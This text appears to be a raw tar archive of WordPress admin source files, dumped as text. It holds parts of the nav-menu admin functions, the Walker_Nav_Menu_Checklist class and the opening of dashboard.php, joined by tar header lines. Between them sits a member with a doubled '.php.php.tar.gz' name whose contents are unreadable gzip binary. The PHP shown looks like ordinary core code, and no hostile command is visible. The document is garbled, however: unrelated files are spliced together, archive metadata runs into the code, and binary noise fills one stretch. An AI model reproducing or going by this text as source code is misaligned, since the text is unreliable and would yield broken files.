		<div id="<?php echo esc_attr( "tabs-panel-{$taxonomy_name}-all" ); ?>"
			class="tabs-panel tabs-panel-view-all <?php echo ( 'all' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php echo esc_attr( $taxonomy->labels->all_items ); ?>" tabindex="0"
		>
			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>

			<ul id="<?php echo esc_attr( "{$taxonomy_name}checklist" ); ?>"
				data-wp-lists="<?php echo esc_attr( "list:{$taxonomy_name}" ); ?>"
				class="categorychecklist form-no-clear"
			>
				<?php
				$args['walker'] = $walker;
				echo walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $terms ),
					0,
					(object) $args
				);
				?>
			</ul>

			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>
		</div><!-- /.tabs-panel -->

		<div id="<?php echo esc_attr( "tabs-panel-search-taxonomy-{$taxonomy_name}" ); ?>"
			class="tabs-panel <?php echo ( 'search' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php echo esc_attr( $taxonomy->labels->search_items ); ?>" tabindex="0">
			<?php
			if ( isset( $_REQUEST[ "quick-search-taxonomy-{$taxonomy_name}" ] ) ) {
				$searched       = esc_attr( $_REQUEST[ "quick-search-taxonomy-{$taxonomy_name}" ] );
				$search_results = get_terms(
					array(
						'taxonomy'     => $taxonomy_name,
						'name__like'   => $searched,
						'fields'       => 'all',
						'orderby'      => 'count',
						'order'        => 'DESC',
						'hierarchical' => false,
					)
				);
			} else {
				$searched       = '';
				$search_results = array();
			}
			?>
			<p class="quick-search-wrap">
				<label for="<?php echo esc_attr( "quick-search-taxonomy-{$taxonomy_name}" ); ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Search' );
					?>
				</label>
				<input type="search"
					class="quick-search" value="<?php echo $searched; ?>"
					name="<?php echo esc_attr( "quick-search-taxonomy-{$taxonomy_name}" ); ?>"
					id="<?php echo esc_attr( "quick-search-taxonomy-{$taxonomy_name}" ); ?>"
				/>
				<span class="spinner"></span>
				<?php
				submit_button(
					__( 'Search' ),
					'small quick-search-submit hide-if-js',
					'submit',
					false,
					array( 'id' => "submit-quick-search-taxonomy-{$taxonomy_name}" )
				);
				?>
			</p>

			<ul id="<?php echo esc_attr( "{$taxonomy_name}-search-checklist" ); ?>"
				data-wp-lists="<?php echo esc_attr( "list:{$taxonomy_name}" ); ?>"
				class="categorychecklist form-no-clear"
			>
			<?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?>
				<?php
				$args['walker'] = $walker;
				echo walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $search_results ),
					0,
					(object) $args
				);
				?>
			<?php elseif ( is_wp_error( $search_results ) ) : ?>
				<li><?php echo $search_results->get_error_message(); ?></li>
			<?php elseif ( ! empty( $searched ) ) : ?>
				<li><?php _e( 'No results found.' ); ?></li>
			<?php endif; ?>
			</ul>
		</div><!-- /.tabs-panel -->

		<p class="button-controls wp-clearfix" data-items-type="<?php echo esc_attr( "taxonomy-{$taxonomy_name}" ); ?>">
			<span class="list-controls hide-if-no-js">
				<input type="checkbox"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					id="<?php echo esc_attr( $tab_name ); ?>" class="select-all"
				/>
				<label for="<?php echo esc_attr( $tab_name ); ?>"><?php _e( 'Select All' ); ?></label>
			</span>

			<span class="add-to-menu">
				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>"
					name="add-taxonomy-menu-item" id="<?php echo esc_attr( "submit-taxonomy-{$taxonomy_name}" ); ?>"
				/>
				<span class="spinner"></span>
			</span>
		</p>

	</div><!-- /.taxonomydiv -->
	<?php
}

/**
 * Save posted nav menu item data.
 *
 * @since 3.0.0
 *
 * @param int     $menu_id   The menu ID for which to save this item. Value of 0 makes a draft, orphaned menu item. Default 0.
 * @param array[] $menu_data The unsanitized POSTed menu item data.
 * @return int[] The database IDs of the items saved
 */
function wp_save_nav_menu_items( $menu_id = 0, $menu_data = array() ) {
	$menu_id     = (int) $menu_id;
	$items_saved = array();

	if ( 0 === $menu_id || is_nav_menu( $menu_id ) ) {

		// Loop through all the menu items' POST values.
		foreach ( (array) $menu_data as $_possible_db_id => $_item_object_data ) {
			if (
				// Checkbox is not checked.
				empty( $_item_object_data['menu-item-object-id'] ) &&
				(
					// And item type either isn't set.
					! isset( $_item_object_data['menu-item-type'] ) ||
					// Or URL is the default.
					in_array( $_item_object_data['menu-item-url'], array( 'https://', 'http://', '' ), true ) ||
					// Or it's not a custom menu item (but not the custom home page).
					! ( 'custom' === $_item_object_data['menu-item-type'] && ! isset( $_item_object_data['menu-item-db-id'] ) ) ||
					// Or it *is* a custom menu item that already exists.
					! empty( $_item_object_data['menu-item-db-id'] )
				)
			) {
				// Then this potential menu item is not getting added to this menu.
				continue;
			}

			// If this possible menu item doesn't actually have a menu database ID yet.
			if (
				empty( $_item_object_data['menu-item-db-id'] ) ||
				( 0 > $_possible_db_id ) ||
				$_possible_db_id !== (int) $_item_object_data['menu-item-db-id']
			) {
				$_actual_db_id = 0;
			} else {
				$_actual_db_id = (int) $_item_object_data['menu-item-db-id'];
			}

			$args = array(
				'menu-item-db-id'       => ( isset( $_item_object_data['menu-item-db-id'] ) ? $_item_object_data['menu-item-db-id'] : '' ),
				'menu-item-object-id'   => ( isset( $_item_object_data['menu-item-object-id'] ) ? $_item_object_data['menu-item-object-id'] : '' ),
				'menu-item-object'      => ( isset( $_item_object_data['menu-item-object'] ) ? $_item_object_data['menu-item-object'] : '' ),
				'menu-item-parent-id'   => ( isset( $_item_object_data['menu-item-parent-id'] ) ? $_item_object_data['menu-item-parent-id'] : '' ),
				'menu-item-position'    => ( isset( $_item_object_data['menu-item-position'] ) ? $_item_object_data['menu-item-position'] : '' ),
				'menu-item-type'        => ( isset( $_item_object_data['menu-item-type'] ) ? $_item_object_data['menu-item-type'] : '' ),
				'menu-item-title'       => ( isset( $_item_object_data['menu-item-title'] ) ? $_item_object_data['menu-item-title'] : '' ),
				'menu-item-url'         => ( isset( $_item_object_data['menu-item-url'] ) ? $_item_object_data['menu-item-url'] : '' ),
				'menu-item-description' => ( isset( $_item_object_data['menu-item-description'] ) ? $_item_object_data['menu-item-description'] : '' ),
				'menu-item-attr-title'  => ( isset( $_item_object_data['menu-item-attr-title'] ) ? $_item_object_data['menu-item-attr-title'] : '' ),
				'menu-item-target'      => ( isset( $_item_object_data['menu-item-target'] ) ? $_item_object_data['menu-item-target'] : '' ),
				'menu-item-classes'     => ( isset( $_item_object_data['menu-item-classes'] ) ? $_item_object_data['menu-item-classes'] : '' ),
				'menu-item-xfn'         => ( isset( $_item_object_data['menu-item-xfn'] ) ? $_item_object_data['menu-item-xfn'] : '' ),
			);

			$items_saved[] = wp_update_nav_menu_item( $menu_id, $_actual_db_id, $args );

		}
	}

	return $items_saved;
}

/**
 * Adds custom arguments to some of the meta box object types.
 *
 * @since 3.0.0
 *
 * @access private
 *
 * @param object $data_object The post type or taxonomy meta-object.
 * @return object The post type or taxonomy object.
 */
function _wp_nav_menu_meta_box_object( $data_object = null ) {
	if ( isset( $data_object->name ) ) {

		if ( 'page' === $data_object->name ) {
			$data_object->_default_query = array(
				'orderby'     => 'menu_order title',
				'post_status' => 'publish',
			);

			// Posts should show only published items.
		} elseif ( 'post' === $data_object->name ) {
			$data_object->_default_query = array(
				'post_status' => 'publish',
			);

			// Categories should be in reverse chronological order.
		} elseif ( 'category' === $data_object->name ) {
			$data_object->_default_query = array(
				'orderby' => 'id',
				'order'   => 'DESC',
			);

			// Custom post types should show only published items.
		} else {
			$data_object->_default_query = array(
				'post_status' => 'publish',
			);
		}
	}

	return $data_object;
}

/**
 * Returns the menu formatted to edit.
 *
 * @since 3.0.0
 *
 * @param int $menu_id Optional. The ID of the menu to format. Default 0.
 * @return string|WP_Error The menu formatted to edit or error object on failure.
 */
function wp_get_nav_menu_to_edit( $menu_id = 0 ) {
	$menu = wp_get_nav_menu_object( $menu_id );

	// If the menu exists, get its items.
	if ( is_nav_menu( $menu ) ) {
		$menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'post_status' => 'any' ) );
		$result     = '<div id="menu-instructions" class="post-body-plain';
		$result    .= ( ! empty( $menu_items ) ) ? ' menu-instructions-inactive">' : '">';
		$result    .= '<p>' . __( 'Add menu items from the column on the left.' ) . '</p>';
		$result    .= '</div>';

		if ( empty( $menu_items ) ) {
			return $result . ' <ul class="menu" id="menu-to-edit"> </ul>';
		}

		/**
		 * Filters the Walker class used when adding nav menu items.
		 *
		 * @since 3.0.0
		 *
		 * @param string $class   The walker class to use. Default 'Walker_Nav_Menu_Edit'.
		 * @param int    $menu_id ID of the menu being rendered.
		 */
		$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $menu_id );

		if ( class_exists( $walker_class_name ) ) {
			$walker = new $walker_class_name();
		} else {
			return new WP_Error(
				'menu_walker_not_exist',
				sprintf(
					/* translators: %s: Walker class name. */
					__( 'The Walker class named %s does not exist.' ),
					'<strong>' . $walker_class_name . '</strong>'
				)
			);
		}

		$some_pending_menu_items = false;
		$some_invalid_menu_items = false;

		foreach ( (array) $menu_items as $menu_item ) {
			if ( isset( $menu_item->post_status ) && 'draft' === $menu_item->post_status ) {
				$some_pending_menu_items = true;
			}
			if ( ! empty( $menu_item->_invalid ) ) {
				$some_invalid_menu_items = true;
			}
		}

		if ( $some_pending_menu_items ) {
			$message     = __( 'Click Save Menu to make pending menu items public.' );
			$notice_args = array(
				'type'               => 'info',
				'additional_classes' => array( 'notice-alt', 'inline' ),
			);
			$result     .= wp_get_admin_notice( $message, $notice_args );
		}

		if ( $some_invalid_menu_items ) {
			$message     = __( 'There are some invalid menu items. Please check or delete them.' );
			$notice_args = array(
				'type'               => 'error',
				'additional_classes' => array( 'notice-alt', 'inline' ),
			);
			$result     .= wp_get_admin_notice( $message, $notice_args );
		}

		$result .= '<ul class="menu" id="menu-to-edit"> ';
		$result .= walk_nav_menu_tree(
			array_map( 'wp_setup_nav_menu_item', $menu_items ),
			0,
			(object) array( 'walker' => $walker )
		);
		$result .= ' </ul> ';

		return $result;
	} elseif ( is_wp_error( $menu ) ) {
		return $menu;
	}
}

/**
 * Returns the columns for the nav menus page.
 *
 * @since 3.0.0
 *
 * @return string[] Array of column titles keyed by their column name.
 */
function wp_nav_menu_manage_columns() {
	return array(
		'_title'          => __( 'Show advanced menu properties' ),
		'cb'              => '<input type="checkbox" />',
		'link-target'     => __( 'Link Target' ),
		'title-attribute' => __( 'Title Attribute' ),
		'css-classes'     => __( 'CSS Classes' ),
		'xfn'             => __( 'Link Relationship (XFN)' ),
		'description'     => __( 'Description' ),
	);
}

/**
 * Deletes orphaned draft menu items
 *
 * @access private
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function _wp_delete_orphaned_draft_menu_items() {
	global $wpdb;

	$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );

	// Delete orphaned draft menu items.
	$menu_items_to_delete = $wpdb->get_col(
		$wpdb->prepare(
			"SELECT ID FROM $wpdb->posts AS p
			LEFT JOIN $wpdb->postmeta AS m ON p.ID = m.post_id
			WHERE post_type = 'nav_menu_item' AND post_status = 'draft'
			AND meta_key = '_menu_item_orphaned' AND meta_value < %d",
			$delete_timestamp
		)
	);

	foreach ( (array) $menu_items_to_delete as $menu_item_id ) {
		wp_delete_post( $menu_item_id, true );
	}
}

/**
 * Saves nav menu items.
 *
 * @since 3.6.0
 *
 * @param int|string $nav_menu_selected_id    ID, slug, or name of the currently-selected menu.
 * @param string     $nav_menu_selected_title Title of the currently-selected menu.
 * @return string[] The menu updated messages.
 */
function wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title ) {
	$unsorted_menu_items = wp_get_nav_menu_items(
		$nav_menu_selected_id,
		array(
			'orderby'     => 'ID',
			'output'      => ARRAY_A,
			'output_key'  => 'ID',
			'post_status' => 'draft,publish',
		)
	);

	$messages   = array();
	$menu_items = array();

	// Index menu items by DB ID.
	foreach ( $unsorted_menu_items as $_item ) {
		$menu_items[ $_item->db_id ] = $_item;
	}

	$post_fields = array(
		'menu-item-db-id',
		'menu-item-object-id',
		'menu-item-object',
		'menu-item-parent-id',
		'menu-item-position',
		'menu-item-type',
		'menu-item-title',
		'menu-item-url',
		'menu-item-description',
		'menu-item-attr-title',
		'menu-item-target',
		'menu-item-classes',
		'menu-item-xfn',
	);

	wp_defer_term_counting( true );

	// Loop through all the menu items' POST variables.
	if ( ! empty( $_POST['menu-item-db-id'] ) ) {
		foreach ( (array) $_POST['menu-item-db-id'] as $_key => $k ) {

			// Menu item title can't be blank.
			if ( ! isset( $_POST['menu-item-title'][ $_key ] ) || '' === $_POST['menu-item-title'][ $_key ] ) {
				continue;
			}

			$args = array();
			foreach ( $post_fields as $field ) {
				$args[ $field ] = isset( $_POST[ $field ][ $_key ] ) ? $_POST[ $field ][ $_key ] : '';
			}

			$menu_item_db_id = wp_update_nav_menu_item(
				$nav_menu_selected_id,
				( (int) $_POST['menu-item-db-id'][ $_key ] !== $_key ? 0 : $_key ),
				$args
			);

			if ( is_wp_error( $menu_item_db_id ) ) {
				$messages[] = wp_get_admin_notice(
					$menu_item_db_id->get_error_message(),
					array(
						'id'                 => 'message',
						'additional_classes' => array( 'error' ),
					)
				);
			} else {
				unset( $menu_items[ $menu_item_db_id ] );
			}
		}
	}

	// Remove menu items from the menu that weren't in $_POST.
	if ( ! empty( $menu_items ) ) {
		foreach ( array_keys( $menu_items ) as $menu_item_id ) {
			if ( is_nav_menu_item( $menu_item_id ) ) {
				wp_delete_post( $menu_item_id );
			}
		}
	}

	// Store 'auto-add' pages.
	$auto_add        = ! empty( $_POST['auto-add-pages'] );
	$nav_menu_option = (array) get_option( 'nav_menu_options' );

	if ( ! isset( $nav_menu_option['auto_add'] ) ) {
		$nav_menu_option['auto_add'] = array();
	}

	if ( $auto_add ) {
		if ( ! in_array( $nav_menu_selected_id, $nav_menu_option['auto_add'], true ) ) {
			$nav_menu_option['auto_add'][] = $nav_menu_selected_id;
		}
	} else {
		$key = array_search( $nav_menu_selected_id, $nav_menu_option['auto_add'], true );
		if ( false !== $key ) {
			unset( $nav_menu_option['auto_add'][ $key ] );
		}
	}

	// Remove non-existent/deleted menus.
	$nav_menu_option['auto_add'] = array_intersect(
		$nav_menu_option['auto_add'],
		wp_get_nav_menus( array( 'fields' => 'ids' ) )
	);

	update_option( 'nav_menu_options', $nav_menu_option );

	wp_defer_term_counting( false );

	/** This action is documented in wp-includes/nav-menu.php */
	do_action( 'wp_update_nav_menu', $nav_menu_selected_id );

	/* translators: %s: Nav menu title. */
	$message     = sprintf( __( '%s has been updated.' ), '<strong>' . $nav_menu_selected_title . '</strong>' );
	$notice_args = array(
		'id'                 => 'message',
		'dismissible'        => true,
		'additional_classes' => array( 'updated' ),
	);

	$messages[] = wp_get_admin_notice( $message, $notice_args );

	unset( $menu_items, $unsorted_menu_items );

	return $messages;
}

/**
 * If a JSON blob of navigation menu data is in POST data, expand it and inject
 * it into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134.
 *
 * @ignore
 * @since 4.5.3
 * @access private
 */
function _wp_expand_nav_menu_post_data() {
	if ( ! isset( $_POST['nav-menu-data'] ) ) {
		return;
	}

	$data = json_decode( stripslashes( $_POST['nav-menu-data'] ) );

	if ( ! is_null( $data ) && $data ) {
		foreach ( $data as $post_input_data ) {
			/*
			 * For input names that are arrays (e.g. `menu-item-db-id[3][4][5]`),
			 * derive the array path keys via regex and set the value in $_POST.
			 */
			preg_match( '#([^\[]*)(\[(.+)\])?#', $post_input_data->name, $matches );

			$array_bits = array( $matches[1] );

			if ( isset( $matches[3] ) ) {
				$array_bits = array_merge( $array_bits, explode( '][', $matches[3] ) );
			}

			$new_post_data = array();

			// Build the new array value from leaf to trunk.
			for ( $i = count( $array_bits ) - 1; $i >= 0; $i-- ) {
				if ( count( $array_bits ) - 1 === $i ) {
					$new_post_data[ $array_bits[ $i ] ] = wp_slash( $post_input_data->value );
				} else {
					$new_post_data = array( $array_bits[ $i ] => $new_post_data );
				}
			}

			$_POST = array_replace_recursive( $_POST, $new_post_data );
		}
	}
}
class-bulk-theme-upgrader-skin.php.php.tar.gz000064400000002056150275632050015170 0ustar00��V�o�6�W��r�r'��k��b+���@�%��B�I���=��e9�0`[���bޯ��>�˂F�fQ��6D�J�t��"ڔc�LDL$�J������c�ӂ��r�HJ�X�31)��žLQ.���(����t�j>��_�������O<���`�)�G���\���E''=8��z������׼Z37��W28���yS�䞬)�&Uz����TW�F��s$���b2�Q�Im��GK��˕IՆ�Z�I��G=�L]�N�E>��f4�
Fd�B�d�b7�wX�-��d���t��q�^���a�H�o����f�E2�ɉ�ߜA7�ba/a\CAM.S�0�m�L�4�q�fr5�Q��s ��ر�ކ�(9Kl0�Bε�)�55��C���aR���<����p���G&W��Č'�,�{��j�Y�\y�׽���	$Mc�%��F(�zAPE�Y,:�ר�N�("4'F*���E�{A
:��>T�
�(3W�0�34��p�ڂjXQU��ԁ�v��P��mh��(2���'Ω�	�8Bxc�mL�kp��0�i48��!�:��p��"��2f8�q�(�yXa��u�Z����)�%'����:�
$$3T����_��4=�����o"+a���n�&�;�Ii��5gWc���$Ĺj,�(��P��:.q#�WK�%6�dN��rE����>|��:]�>��r�/#�G�VS��noŕ�M1nGaE�Ƒ罴k�O|l��&�hH�("z� {����7����,�!�I����ƍ��q4�$�KG�ɿ|yؐ���M�,�hO�4�Jh��؛�mg^w�T�)�*��?1�����3m���W�k �q�����\n�5���ˢ���nI������M����
o-˶[�b҉�,��*��O��u/�+�h3�w��E��^��1�|S���-���{��u
G�����p谀�y|2�v��{Fi�¯�!0L)�u�>&�y|(��0���돲gy�gy�� _���class-walker-nav-menu-checklist.php000064400000012774150275632050013360 0ustar00<?php
/**
 * Navigation Menu API: Walker_Nav_Menu_Checklist class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Create HTML list of nav menu input items.
 *
 * @since 3.0.0
 * @uses Walker_Nav_Menu
 */
class Walker_Nav_Menu_Checklist extends Walker_Nav_Menu {
	/**
	 * @param array|false $fields Database fields to use.
	 */
	public function __construct( $fields = false ) {
		if ( $fields ) {
			$this->db_fields = $fields;
		}
	}

	/**
	 * Starts the list before the elements are added.
	 *
	 * @see Walker_Nav_Menu::start_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param int      $depth  Depth of page. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function start_lvl( &$output, $depth = 0, $args = null ) {
		$indent  = str_repeat( "\t", $depth );
		$output .= "\n$indent<ul class='children'>\n";
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @see Walker_Nav_Menu::end_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param int      $depth  Depth of page. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function end_lvl( &$output, $depth = 0, $args = null ) {
		$indent  = str_repeat( "\t", $depth );
		$output .= "\n$indent</ul>";
	}

	/**
	 * Start the element output.
	 *
	 * @see Walker_Nav_Menu::start_el()
	 *
	 * @since 3.0.0
	 * @since 5.9.0 Renamed `$item` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @global int        $_nav_menu_placeholder
	 * @global int|string $nav_menu_selected_id
	 *
	 * @param string   $output            Used to append additional content (passed by reference).
	 * @param WP_Post  $data_object       Menu item data object.
	 * @param int      $depth             Depth of menu item. Used for padding.
	 * @param stdClass $args              Not used.
	 * @param int      $current_object_id Optional. ID of the current menu item. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = null, $current_object_id = 0 ) {
		global $_nav_menu_placeholder, $nav_menu_selected_id;

		// Restores the more descriptive, specific name for use within this method.
		$menu_item = $data_object;

		$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? (int) $_nav_menu_placeholder - 1 : -1;
		$possible_object_id    = isset( $menu_item->post_type ) && 'nav_menu_item' === $menu_item->post_type ? $menu_item->object_id : $_nav_menu_placeholder;
		$possible_db_id        = ( ! empty( $menu_item->ID ) ) && ( 0 < $possible_object_id ) ? (int) $menu_item->ID : 0;

		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

		$output .= $indent . '<li>';
		$output .= '<label class="menu-item-title">';
		$output .= '<input type="checkbox"' . wp_nav_menu_disabled_check( $nav_menu_selected_id, false ) . ' class="menu-item-checkbox';

		if ( ! empty( $menu_item->front_or_home ) ) {
			$output .= ' add-to-top';
		}

		$output .= '" name="menu-item[' . $possible_object_id . '][menu-item-object-id]" value="' . esc_attr( $menu_item->object_id ) . '" /> ';

		if ( ! empty( $menu_item->label ) ) {
			$title = $menu_item->label;
		} elseif ( isset( $menu_item->post_type ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$title = apply_filters( 'the_title', $menu_item->post_title, $menu_item->ID );
		}

		$output .= isset( $title ) ? esc_html( $title ) : esc_html( $menu_item->title );

		if ( empty( $menu_item->label ) && isset( $menu_item->post_type ) && 'page' === $menu_item->post_type ) {
			// Append post states.
			$output .= _post_states( $menu_item, false );
		}

		$output .= '</label>';

		// Menu item hidden fields.
		$output .= '<input type="hidden" class="menu-item-db-id" name="menu-item[' . $possible_object_id . '][menu-item-db-id]" value="' . $possible_db_id . '" />';
		$output .= '<input type="hidden" class="menu-item-object" name="menu-item[' . $possible_object_id . '][menu-item-object]" value="' . esc_attr( $menu_item->object ) . '" />';
		$output .= '<input type="hidden" class="menu-item-parent-id" name="menu-item[' . $possible_object_id . '][menu-item-parent-id]" value="' . esc_attr( $menu_item->menu_item_parent ) . '" />';
		$output .= '<input type="hidden" class="menu-item-type" name="menu-item[' . $possible_object_id . '][menu-item-type]" value="' . esc_attr( $menu_item->type ) . '" />';
		$output .= '<input type="hidden" class="menu-item-title" name="menu-item[' . $possible_object_id . '][menu-item-title]" value="' . esc_attr( $menu_item->title ) . '" />';
		$output .= '<input type="hidden" class="menu-item-url" name="menu-item[' . $possible_object_id . '][menu-item-url]" value="' . esc_attr( $menu_item->url ) . '" />';
		$output .= '<input type="hidden" class="menu-item-target" name="menu-item[' . $possible_object_id . '][menu-item-target]" value="' . esc_attr( $menu_item->target ) . '" />';
		$output .= '<input type="hidden" class="menu-item-attr-title" name="menu-item[' . $possible_object_id . '][menu-item-attr-title]" value="' . esc_attr( $menu_item->attr_title ) . '" />';
		$output .= '<input type="hidden" class="menu-item-classes" name="menu-item[' . $possible_object_id . '][menu-item-classes]" value="' . esc_attr( implode( ' ', $menu_item->classes ) ) . '" />';
		$output .= '<input type="hidden" class="menu-item-xfn" name="menu-item[' . $possible_object_id . '][menu-item-xfn]" value="' . esc_attr( $menu_item->xfn ) . '" />';
	}
}
dashboard.php000064400000210743150275632050007220 0ustar00<?php
/**
 * WordPress Dashboard Widget Administration Screen API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Registers dashboard widgets.
 *
 * Handles POST data, sets up filters.
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 * @global callable[] $wp_dashboard_control_callbacks
 */
function wp_dashboard_setup() {
	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_dashboard_control_callbacks;

	$screen = get_current_screen();

	/* Register Widgets and Controls */
	$wp_dashboard_control_callbacks = array();

	// Browser version
	$check_browser = wp_check_browser_version();

	if ( $check_browser && $check_browser['upgrade'] ) {
		add_filter( 'postbox_classes_dashboard_dashboard_browser_nag', 'dashboard_browser_nag_class' );

		if ( $check_browser['insecure'] ) {
			wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'You are using an insecure browser!' ), 'wp_dashboard_browser_nag' );
		} else {
			wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'Your browser is out of date!' ), 'wp_dashboard_browser_nag' );
		}
	}

	// PHP Version.
	$check_php = wp_check_php_version();

	if ( $check_php && current_user_can( 'update_php' ) ) {
		// If "not acceptable" the widget will be shown.
		if ( isset( $check_php['is_acceptable'] ) && ! $check_php['is_acceptable'] ) {
			add_filter( 'postbox_classes_dashboard_dashboard_php_nag', 'dashboard_php_nag_class' );

			if ( $check_php['is_lower_than_future_minimum'] ) {
				wp_add_dashboard_widget( 'dashboard_php_nag', __( 'PHP Update Required' ), 'wp_dashboard_php_nag' );
			} else {
				wp_add_dashboard_widget( 'dashboard_php_nag', __( 'PHP Update Recommended' ), 'wp_dashboard_php_nag' );
			}
		}
	}

	// Site Health.
	if ( current_user_can( 'view_site_health_checks' ) && ! is_network_admin() ) {
		if ( ! class_exists( 'WP_Site_Health' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
		}

		WP_Site_Health::get_instance();

		wp_enqueue_style( 'site-health' );
		wp_enqueue_script( 'site-health' );

		wp_add_dashboard_widget( 'dashboard_site_health', __( 'Site Health Status' ), 'wp_dashboard_site_health' );
	}

	// Right Now.
	if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) {
		wp_add_dashboard_widget( 'dashboard_right_now', __( 'At a Glance' ), 'wp_dashboard_right_now' );
	}

	if ( is_network_admin() ) {
		wp_add_dashboard_widget( 'network_dashboard_right_now', __( 'Right Now' ), 'wp_network_dashboard_right_now' );
	}

	// Activity Widget.
	if ( is_blog_admin() ) {
		wp_add_dashboard_widget( 'dashboard_activity', __( 'Activity' ), 'wp_dashboard_site_activity' );
	}

	// QuickPress Widget.
	if ( is_blog_admin() && current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
		$quick_draft_title = sprintf( '<span class="hide-if-no-js">%1$s</span> <span class="hide-if-js">%2$s</span>', __( 'Quick Draft' ), __( 'Your Recent Drafts' ) );
		wp_add_dashboard_widget( 'dashboard_quick_press', $quick_draft_title, 'wp_dashboard_quick_press' );
	}

	// WordPress Events and News.
	wp_add_dashboard_widget( 'dashboard_primary', __( 'WordPress Events and News' ), 'wp_dashboard_events_news' );

	if ( is_network_admin() ) {

		/**
		 * Fires after core widgets for the Network Admin dashboard have been registered.
		 *
		 * @since 3.1.0
		 */
		do_action( 'wp_network_dashboard_setup' );

		/**
		 * Filters the list of widgets to load for the Network Admin dashboard.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $dashboard_widgets An array of dashboard widget IDs.
		 */
		$dashboard_widgets = apply_filters( 'wp_network_dashboard_widgets', array() );
	} elseif ( is_user_admin() ) {

		/**
		 * Fires after core widgets for the User Admin dashboard have been registered.
		 *
		 * @since 3.1.0
		 */
		do_action( 'wp_user_dashboard_setup' );

		/**
		 * Filters the list of widgets to load for the User Admin dashboard.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $dashboard_widgets An array of dashboard widget IDs.
		 */
		$dashboard_widgets = apply_filters( 'wp_user_dashboard_widgets', array() );
	} else {

		/**
		 * Fires after core widgets for the admin dashboard have been registered.
		 *
		 * @since 2.5.0
		 */
		do_action( 'wp_dashboard_setup' );

		/**
		 * Filters the list of widgets to load for the admin dashboard.
		 *
		 * @since 2.5.0
		 *
		 * @param string[] $dashboard_widgets An array of dashboard widget IDs.
		 */
		$dashboard_widgets = apply_filters( 'wp_dashboard_widgets', array() );
	}

	foreach ( $dashboard_widgets as $widget_id ) {
		$name = empty( $wp_registered_widgets[ $widget_id ]['all_link'] ) ? $wp_registered_widgets[ $widget_id ]['name'] : $wp_registered_widgets[ $widget_id ]['name'] . " <a href='{$wp_registered_widgets[$widget_id]['all_link']}' class='edit-box open-box'>" . __( 'View all' ) . '</a>';
		wp_add_dashboard_widget( $widget_id, $name, $wp_registered_widgets[ $widget_id ]['callback'], $wp_registered_widget_controls[ $widget_id ]['callback'] );
	}

	if ( 'POST' === $_SERVER['REQUEST_METHOD'] && isset( $_POST['widget_id'] ) ) {
		check_admin_referer( 'edit-dashboard-widget_' . $_POST['widget_id'], 'dashboard-widget-nonce' );
		ob_start(); // Hack - but the same hack wp-admin/widgets.php uses.
		wp_dashboard_trigger_widget_control( $_POST['widget_id'] );
		ob_end_clean();
		wp_redirect( remove_query_arg( 'edit' ) );
		exit;
	}

	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $screen->id, 'normal', '' );

	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $screen->id, 'side', '' );
}

/**
 * Adds a new dashboard widget.
 *
 * @since 2.7.0
 * @since 5.6.0 The `$context` and `$priority` parameters were added.
 *
 * @global callable[] $wp_dashboard_control_callbacks
 *
 * @param string   $widget_id        Widget ID  (used in the 'id' attribute for the widget).
 * @param string   $widget_name      Title of the widget.
 * @param callable $callback         Function that fills the widget with the desired content.
 *                                   The function should echo its output.
 * @param callable $control_callback Optional. Function that outputs controls for the widget. Default null.
 * @param array    $callback_args    Optional. Data that should be set as the $args property of the widget array
 *                                   (which is the second parameter passed to your callback). Default null.
 * @param string   $context          Optional. The context within the screen where the box should display.
 *                                   Accepts 'normal', 'side', 'column3', or 'column4'. Default 'normal'.
 * @param string   $priority         Optional. The priority within the context where the box should show.
 *                                   Accepts 'high', 'core', 'default', or 'low'. Default 'core'.
 */
